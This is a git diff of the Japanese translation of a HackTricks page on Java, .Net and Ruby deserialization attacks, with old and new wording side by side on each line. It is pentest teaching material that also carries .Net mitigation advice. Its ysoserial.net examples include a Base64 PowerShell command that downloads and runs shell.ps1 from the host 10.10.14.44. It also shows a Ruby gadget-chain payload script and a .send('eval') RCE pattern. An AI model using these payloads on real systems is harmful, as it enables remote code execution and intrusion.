* 逆シリアル化とysoserialに関するトーク: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/) * デシリアライズとysoserialのトーク: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
* [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/) * [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
* [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ) * [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
* Gadgetinspectorに関するトーク: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) およびスライド: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) * gadgetinspectorについてのトーク: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) およびスライド: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
* Marshalsec論文: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true) * Marshalsec論文: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
* [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) * [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) * [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) * [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
* Javaおよび.Net JSON逆シリアル化 **論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) およびスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) * Javaと.NetのJSONデシリアライズ **論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) およびスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* 逆シリアル化CVE: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) * デシリアライズのCVE: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## JNDI Injection & log4Shell ## JNDIインジェクション & log4Shell
**JNDI Injection**とは何か、**RMI**、**CORBA**、**LDAP**を介してどのように悪用できるか、および**log4shell**をどのように悪用するか(およびこの脆弱性の例)については、以下のページで確認してください: **JNDIインジェクションとは何か、RMI、CORBA、LDAPを介してどのように悪用するか、log4shellをどのように悪用するか**(およびこの脆弱性の例)については、以下のページを参照してください。
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} {% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md) [jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
{% endcontent-ref %} {% endcontent-ref %}
## JMS - Java Message Service ## JMS - Javaメッセージサービス
> **Java Message Service** (**JMS**) API は、2つ以上のクライアント間でメッセージを送信するためのJavaメッセージ指向ミドルウェアAPIです。これは、プロデューサーとコンシューマーの問題を処理する実装です。JMSはJava Platform, Enterprise Edition (Java EE)の一部であり、Sun Microsystemsで開発された仕様によって定義されましたが、その後Java Community Processによってガイドされています。これは、Java EEに基づくアプリケーションコンポーネントがメッセージを作成、送信、受信、読み取ることを可能にするメッセージング標準です。分散アプリケーションの異なるコンポーネント間の通信を緩やかに結合し、信頼性があり非同期であることを可能にします。([Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)より)。 > **Javaメッセージサービス****JMS**APIは、2つ以上のクライアント間でメッセージを送信するためのJavaメッセージ指向ミドルウェアAPIです。これは、プロデューサーコンシューマー問題を処理するための実装です。JMSはJavaプラットフォーム、エンタープライズエディションJava EEの一部であり、Sun Microsystemsで開発された仕様によって定義されましたが、その後Javaコミュニティプロセスによって指導されています。これは、Java EEに基づくアプリケーションコンポーネントがメッセージを作成、送信、受信、および読み取ることを可能にするメッセージング標準です。これは、分散アプリケーションの異なるコンポーネント間の通信を緩く結合し、信頼性が高く非同期にします。(出典: [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)
### 製品 ### 製品
このミドルウェアを使用してメッセージを送信するいくつかの製品があります: このミドルウェアを使用してメッセージを送信する製品はいくつかあります。
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../.gitbook/assets/image (314).png>) ![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../.gitbook/assets/image (314).png>)
@ -604,12 +605,12 @@ ObjectInputFilter.Config.setSerialFilter(filter);
### 悪用 ### 悪用
つまり、**危険な方法でJMSを使用している多くのサービスが存在**します。したがって、これらのサービスにメッセージを送信する権限がある場合(通常、有効な資格情報が必要です)、**シリアル化された悪意のあるオブジェクトを送信してコンシューマー/サブスクライバーによって逆シリアル化される可能性があります**。\ 基本的に、**危険な方法でJMSを使用しているサービスが多数存在します**。したがって、これらのサービスにメッセージを送信するための**十分な権限**がある場合(通常は有効な資格情報が必要)、**消費者/サブスクライバーによってデシリアライズされる悪意のあるシリアライズオブジェクトを送信できる可能性があります**。\
つまり、この悪用では、そのメッセージを使用するすべての**クライアントが感染する可能性があります** これは、この悪用において、**そのメッセージを使用するすべてのクライアントが感染する**ことを意味します
サービスが脆弱であっても(ユーザー入力を安全に逆シリアル化していないため)、脆弱性を悪用するためには有効なガジェットを見つける必要があります サービスが脆弱である場合(ユーザー入力を安全でない方法でデシリアライズしているため)、脆弱性を悪用するための有効なガジェットを見つける必要があることを忘れないでください
ツール[JMET](https://github.com/matthiaskaiser/jmet)は、既知のガジェットを使用してシリアル化された悪意のあるオブジェクトを送信してこれらのサービスに接続し攻撃するために作成されました。これらのエクスプロイトは、サービスがまだ脆弱であり、使用されたガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。 ツール[**JMET**](https://github.com/matthiaskaiser/jmet)は、**既知のガジェットを使用して悪意のあるシリアライズオブジェクトを送信するためにこれらのサービスに接続して攻撃する**ために作成されました。これらのエクスプロイトは、サービスが依然として脆弱であり、使用されるガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。
### 参考文献 ### 参考文献
@ -618,40 +619,43 @@ ObjectInputFilter.Config.setSerialFilter(filter);
## .Net ## .Net
.Netの文脈では、逆シリアル化の脆弱性は、Javaで見られるものと同様に、オブジェクトの逆シリアル化中に特定のコードを実行するためにガジェットが悪用される方法で機能します。 .Netの文脈において、デシリアライズの悪用は、Javaで見られるものと同様の方法で動作し、ガジェットがオブジェクトのデシリアライズ中に特定のコードを実行するために悪用されます。
### フィンガープリント
#### WhiteBox ### フィンガープリンティング
ソースコードを調査して、以下の出現箇所を確認する必要があります: #### ホワイトボックス
ソースコードを検査して、以下の出現を探すべきです。
1. `TypeNameHandling` 1. `TypeNameHandling`
2. `JavaScriptTypeResolver` 2. `JavaScriptTypeResolver`
焦点は、ユーザーが制御する変数によって型が決定されるシリアライザに置かれるべきです。 ユーザー制御下の変数によって型を決定できるシリアライザーに焦点を当てるべきです。
#### BlackBox #### ブラックボックス
検索対象は、サーバーサイドで逆シリアル化される可能性のあるBase64エンコードされた文字列 **AAEAAAD/////** や類似のパターンです。これには、`TypeObject` や `$type` を備えた **JSON****XML** 構造が含まれる可能性があります Base64エンコードされた文字列**AAEAAAD/////**または、サーバー側でデシリアライズされる可能性のある類似のパターンをターゲットにする必要があります。これには、`TypeObject`や`$type`を含む**JSON**または**XML**構造が含まれる可能性がありますが、これに限定されません
### ysoserial.net ### ysoserial.net
この場合、ツール [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) を使用して **逆シリアル化のエクスプロイトを作成** できます。Gitリポジトリをダウンロードしたら、例えばVisual Studioを使用してツールを **コンパイルする必要があります** この場合、ツール[**ysoserial.net**](https://github.com/pwntester/ysoserial.net)を使用して**デシリアライズの悪用を作成**できます。gitリポジトリをダウンロードしたら、Visual Studioなどを使用して**ツールをコンパイル**する必要があります。
**ysoserial.net** の主なオプションは、**`--gadget`**、**`--formatter`**、**`--output`**、**`--plugin`** です **ysoserial.netがどのように悪用を作成するか**について学びたい場合は、[**ObjectDataProviderガジェット + ExpandedWrapper + Json.Netフォーマッタについて説明しているこのページを確認してください**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)
* **`--gadget`** は、悪用するガジェットを示すために使用されます(逆シリアル化中にコマンドを実行するために悪用されるクラス/関数を示します)。 **ysoserial.net**の主なオプションは、**`--gadget`**、**`--formatter`**、**`--output`**、および**`--plugin`**です。
* **`--formatter`** は、エクスプロイトをシリアル化する方法を示すために使用されます(ペイロードを逆シリアル化するバックエンドがどのライブラリを使用しているかを知っており、それと同じものを使用してシリアル化する必要があります)。
* **`--output`** は、エクスプロイトを **raw** または **base64** エンコードで表示するかを示すために使用されます。_**ysoserial.net** はペイロードを **UTF-16LE** でエンコードしますWindowsでデフォルトで使用されるエンコーディングので、Linuxコンソールから単にエンコードしても、エンコーディングの互換性の問題が発生し、エクスプロイトが正常に機能しなくなる可能性がありますHTB JSONボックスでは、ペイロードはUTF-16LEとASCIIの両方で機能しましたが、これは常に機能するとは限らないことに注意してください_。
* **`--plugin`** ysoserial.net は、ViewStateなどの **特定のフレームワーク用のエクスプロイト** を作成するためのプラグインをサポートしています。
#### その他の ysoserial.net パラメータ * **`--gadget`**は、悪用するガジェットを示すために使用されます(デシリアライズ中にコマンドを実行するために悪用されるクラス/関数を示します)。
* **`--formatter`**は、悪用をシリアライズする方法を示すために使用されます(ペイロードをデシリアライズするためにバックエンドが使用しているライブラリを知り、それを使用してシリアライズする必要があります)。
* **`--output`**は、悪用を**生**または**base64**エンコードで取得したいかどうかを示すために使用されます。_注意してください、**ysoserial.net**はペイロードを**UTF-16LE**Windowsでデフォルトで使用されるエンコーディングを使用して**エンコード**するため、Linuxコンソールから生のペイロードをエンコードすると、悪用が正しく機能しない**エンコーディング互換性の問題**が発生する可能性がありますHTB JSONボックスではペイロードはUTF-16LEとASCIIの両方で機能しましたが、これは常に機能するとは限りません。_
* **`--plugin`**ysoserial.netは、ViewStateのような**特定のフレームワーク用の悪用を作成するためのプラグイン**をサポートしています。
* `--minify` は、**より小さなペイロード** を提供します(可能な場合) #### 追加のysoserial.netパラメータ
* `--raf -f Json.Net -c "anything"` これにより、指定されたフォーマッタ(この場合は `Json.Net`)で使用できるすべてのガジェットが示されます。
* `--sf xml` は、ガジェットを指定できます(`-g` 、ysoserial.net は "xml" を含むフォーマッタを検索します(大文字小文字を区別しない)。
**ysoserialの例** エクスプロイトの作成: * `--minify`は、**小さなペイロード**を提供します(可能な場合)。
* `--raf -f Json.Net -c "anything"`これは、提供されたフォーマッタ(この場合は`Json.Net`)で使用できるすべてのガジェットを示します。
* `--sf xml`は、**ガジェット**`-g`を示すことができ、ysoserial.netは「xml」を含むフォーマッタを検索します大文字と小文字を区別しません
**ysoserialの例**を使用して悪用を作成します:
```bash ```bash
#Send ping #Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
@ -669,9 +673,9 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
#Create exploit using the created B64 shellcode #Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
``` ```
**ysoserial.net**には、各エクスプロイトがどのように機能するかをよりよく理解するのに役立つ非常に興味深いパラメーターがあります:`--test` **ysoserial.net** には、各エクスプロイトがどのように機能するかをよりよく理解するのに役立つ **非常に興味深いパラメータ** があります: `--test`\
このパラメーターを指定すると、**ysoserial.net**はエクスプロイトをローカルで試行し、ペイロードが正しく機能するかどうかをテストできます。 このパラメータを指定すると、**ysoserial.net** は **ローカルでエクスプロイトを試みます** ので、ペイロードが正しく機能するかどうかをテストできます。\
このパラメーターは役立ちます。なぜなら、コードを確認すると、次のようなコードの断片が見つかるからです([ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)から): このパラメータは便利です。なぜなら、コードをレビューすると、次のようなコードの断片が見つかるからです (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java ```java
if (inputArgs.Test) if (inputArgs.Test)
{ {
@ -685,7 +689,7 @@ Debugging.ShowErrors(inputArgs, err);
} }
} }
``` ```
これは、エクスプロイトをテストするためにコードが[serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)を呼び出すことを意味します。 これは、エクスプロイトをテストするためにコードが [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) を呼び出すことを意味します。
```java ```java
public static object JsonNet_deserialize(string str) public static object JsonNet_deserialize(string str)
{ {
@ -696,46 +700,46 @@ TypeNameHandling = TypeNameHandling.Auto
return obj; return obj;
} }
``` ```
**前のコードは作成されたエクスプロイトに脆弱**です。そのため、.Netアプリケーションで類似したものを見つけた場合、おそらくそのアプリケーションも脆弱です。\ In the **前のコードは作成されたエクスプロイトに脆弱です**。したがって、.Netアプリケーションで類似のものを見つけた場合、そのアプリケーションも脆弱である可能性が高いです。\
したがって、**`--test`**パラメータを使用すると、**ysoserial.net**が作成できる逆シリアル化エクスプロイトに**どのコードチャンクが脆弱**かを理解できます。 したがって、**`--test`**パラメータは、**どのコードのチャンクが脆弱であるか**を理解するのに役立ちます。これは**ysoserial.net**が作成できるデシリアライズエクスプロイトです。
### ViewState ### ViewState
[**.Netの\_\_ViewStateパラメータを悪用しようとする方法についてのこのPOST**](exploiting-\_\_viewstate-parameter.md)を見て、**任意のコードを実行**してください。被害者マシンが使用している秘密を**すでに知っている**場合は、[**この投稿を読んでコードを実行**](exploiting-\_\_viewstate-knowing-the-secret.md)**してください**。 [**.Netの\_\_ViewStateパラメータをエクスプロイトする方法についてのこのPOSTを見てください**](exploiting-\_\_viewstate-parameter.md) **任意のコードを実行するために。** もしあなたが**被害者マシンによって使用される秘密をすでに知っているなら、[**コードを実行する方法を知るためにこの投稿を読んでください**](exploiting-\_\_viewstate-knowing-the-secret.md)**。**
### 予防 ### Prevention
.Netでの逆シリアル化に関連するリスクを軽減するためには .Netにおけるデシリアライズに関連するリスクを軽減するために
* **データストリームがオブジェクトタイプを定義することを避ける**。可能な限り`DataContractSerializer`または`XmlSerializer`を使用します * **データストリームにオブジェクトタイプを定義させないようにします。** 可能な場合は`DataContractSerializer`または`XmlSerializer`を利用してください
* **`JSON.Net`では、`TypeNameHandling`を`None`に設定します** %%%TypeNameHandling = TypeNameHandling.None%%% * **`JSON.Net`の場合、`TypeNameHandling`を`None`に設定します:** %%%TypeNameHandling = TypeNameHandling.None%%%
* **`JavaScriptSerializer`を`JavaScriptTypeResolver`と一緒に使用しない** * **`JavaScriptSerializer`を`JavaScriptTypeResolver`と一緒に使用しないでください。**
* **逆シリアル化できるタイプを制限する**ことで、`System.IO.FileInfo`などの.Netタイプに伴う固有のリスクを理解し、サーバーファイルのプロパティを変更できる可能性があるため、サービス拒否攻撃につながる可能性があります。 * **デシリアライズ可能なタイプを制限し、`System.IO.FileInfo`のような.Netタイプに内在するリスクを理解します。これはサーバーファイルのプロパティを変更し、サービス拒否攻撃を引き起こす可能性があります。**
* `System.ComponentModel.DataAnnotations.ValidationException`のようなリスクのあるプロパティを持つタイプには注意してください。その`Value`プロパティは悪用される可能性があります。 * **リスクのあるプロパティを持つタイプに注意してください。** 例えば、`System.ComponentModel.DataAnnotations.ValidationException`の`Value`プロパティは悪用される可能性があります。
* **逆シリアル化プロセスに影響を与える攻撃者を防ぐために、タイプのインスタンス化を安全に制御**し、`DataContractSerializer`や`XmlSerializer`さえも脆弱にしません。 * **タイプのインスタンス化を安全に制御し、攻撃者がデシリアライズプロセスに影響を与えないようにします。これにより、`DataContractSerializer`や`XmlSerializer`でさえ脆弱になります。**
* `BinaryFormatter`および`JSON.Net`用にカスタム`SerializationBinder`を使用した**ホワイトリストコントロールを実装**します。 * **`BinaryFormatter`および`JSON.Net`のためにカスタム`SerializationBinder`を使用してホワイトリスト制御を実装します。**
* .Net内の既知の安全でない逆シリアル化ガジェットについて**情報を収集**し、そのようなタイプをインスタンス化しないようにします。 * **.Net内の既知の不安全なデシリアライズガジェットについて情報を得て、デシリアライザがそのようなタイプをインスタンス化しないようにします。**
* **潜在的にリスキーなコードを分離**して、既知のガジェットWPFアプリケーションの`System.Windows.Data.ObjectDataProvider`など)を信頼できないデータソースにさらさないようにします。 * **インターネットアクセスのあるコードから潜在的にリスクのあるコードを隔離し、`System.Windows.Data.ObjectDataProvider`のような既知のガジェットを信頼できないデータソースにさらさないようにします。**
### **参考文献** ### **References**
* Javaおよび.Net JSON逆シリアル化**論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) およびスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) * Javaと.NetのJSONデシリアライズに関する**論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**、** トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) およびスライド [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp) * [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
* [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf) * [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
* [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization) * [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
## **Ruby** ## **Ruby**
Rubyでは、**marshal**ライブラリ内の2つのメソッドによってシリアル化が容易になります。最初のメソッドである**dump**は、オブジェクトをバイトストリームに変換するために使用されます。このプロセスはシリアル化と呼ばれます。逆に、2番目のメソッドである**load**は、バイトストリームをオブジェクトに戻すために使用され、逆シリアル化と呼ばれます。 Rubyでは、シリアル化は**marshal**ライブラリ内の2つのメソッドによって促進されます。最初のメソッドは**dump**として知られ、オブジェクトをバイトストリームに変換するために使用されます。このプロセスはシリアル化と呼ばれます。逆に、2番目のメソッド**load**は、バイトストリームをオブジェクトに戻すために使用され、このプロセスはデシリアライズと呼ばれます。
シリアル化されたオブジェクトを保護するために、**RubyはHMACHash-Based Message Authentication Code**を使用してデータの整合性と信頼性を確保します。この目的で使用されるキーは、次のいずれかの場所に保存されます: シリアル化されたオブジェクトを保護するために、**RubyはHMACハッシュベースのメッセージ認証コード)**を使用し、データの整合性と真正性を確保します。この目的のために使用されるキーは、いくつかの可能な場所のいずれかに保存されます:
* `config/environment.rb` * `config/environment.rb`
* `config/initializers/secret_token.rb` * `config/initializers/secret_token.rb`
* `config/secrets.yml` * `config/secrets.yml`
* `/proc/self/environ` * `/proc/self/environ`
**Ruby 2.Xジェネリック逆シリアル化からRCEガジェットチェーン詳細は** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**** **Ruby 2.Xの一般的なデシリアライズからRCEガジェットチェーン詳細は** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)****:
```ruby ```ruby
#!/usr/bin/env ruby #!/usr/bin/env ruby
@ -806,20 +810,22 @@ require "base64"
puts "Payload (Base64 encoded):" puts "Payload (Base64 encoded):"
puts Base64.encode64(payload) puts Base64.encode64(payload)
``` ```
他のRCEチェーンは、Ruby On Railsを悪用するために利用されます: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/) 他のRCEチェーンを利用してRuby On Railsを攻撃する: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
### Ruby .send() メソッド ### Ruby .send() メソッド
[**この脆弱性レポート**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)で説明されているように、あるユーザーの無検証入力がRubyオブジェクトの`.send()`メソッドに到達すると、このメソッドを使用してオブジェクトの**他の任意のメソッド**を任意のパラメーターで**呼び出す**ことができます。 [**この脆弱性レポート**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)で説明されているように、ユーザーの未サニタイズ入力がrubyオブジェクトの`.send()`メソッドに到達すると、このメソッドはオブジェクトの**任意の他のメソッド**を任意のパラメータで呼び出すことを許可します。
例えば、evalを呼び出してから2番目のパラメーターとしてRubyコードを実行することができます: 例えば、evalを呼び出し、次にrubyコードを第二パラメータとして渡すことで、任意のコードを実行することができます:
{% code overflow="wrap" %}
```ruby ```ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE <Object>.send('eval', '<user input with Ruby code>') == RCE
``` ```
{% endcode %} {% endcode %}
さらに、前の解説で言及されているように、**`.send()`** のパラメータが攻撃者によって制御されている場合、オブジェクトの**引数が必要ないメソッド**または引数が**デフォルト値**を持つメソッドを呼び出すことが可能です。\ さらに、**`.send()`** のパラメータが攻撃者によって制御されている場合、前回の記述で述べたように、**引数を必要としない**か、**デフォルト値を持つ引数**を持つオブジェクトの任意のメソッドを呼び出すことが可能です。\
これには、オブジェクトのすべてのメソッドを列挙して、**これらの要件を満たす興味深いメソッドを見つける**ことができます。 そのためには、オブジェクトのすべてのメソッドを列挙して、**その要件を満たす興味深いメソッドを見つける**ことができます。
{% code overflow="wrap" %} {% code overflow="wrap" %}
```ruby ```ruby
@ -845,16 +851,17 @@ candidate_methods.length() # Final number of methods=> 3595
``` ```
{% endcode %} {% endcode %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出する。**
</details> </details>
{% endhint %}

View file

@ -1,48 +1,51 @@
# 基本的な.Net逆シリアル化ObjectDataProviderガジェット、ExpandedWrapper、およびJson.Net # Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
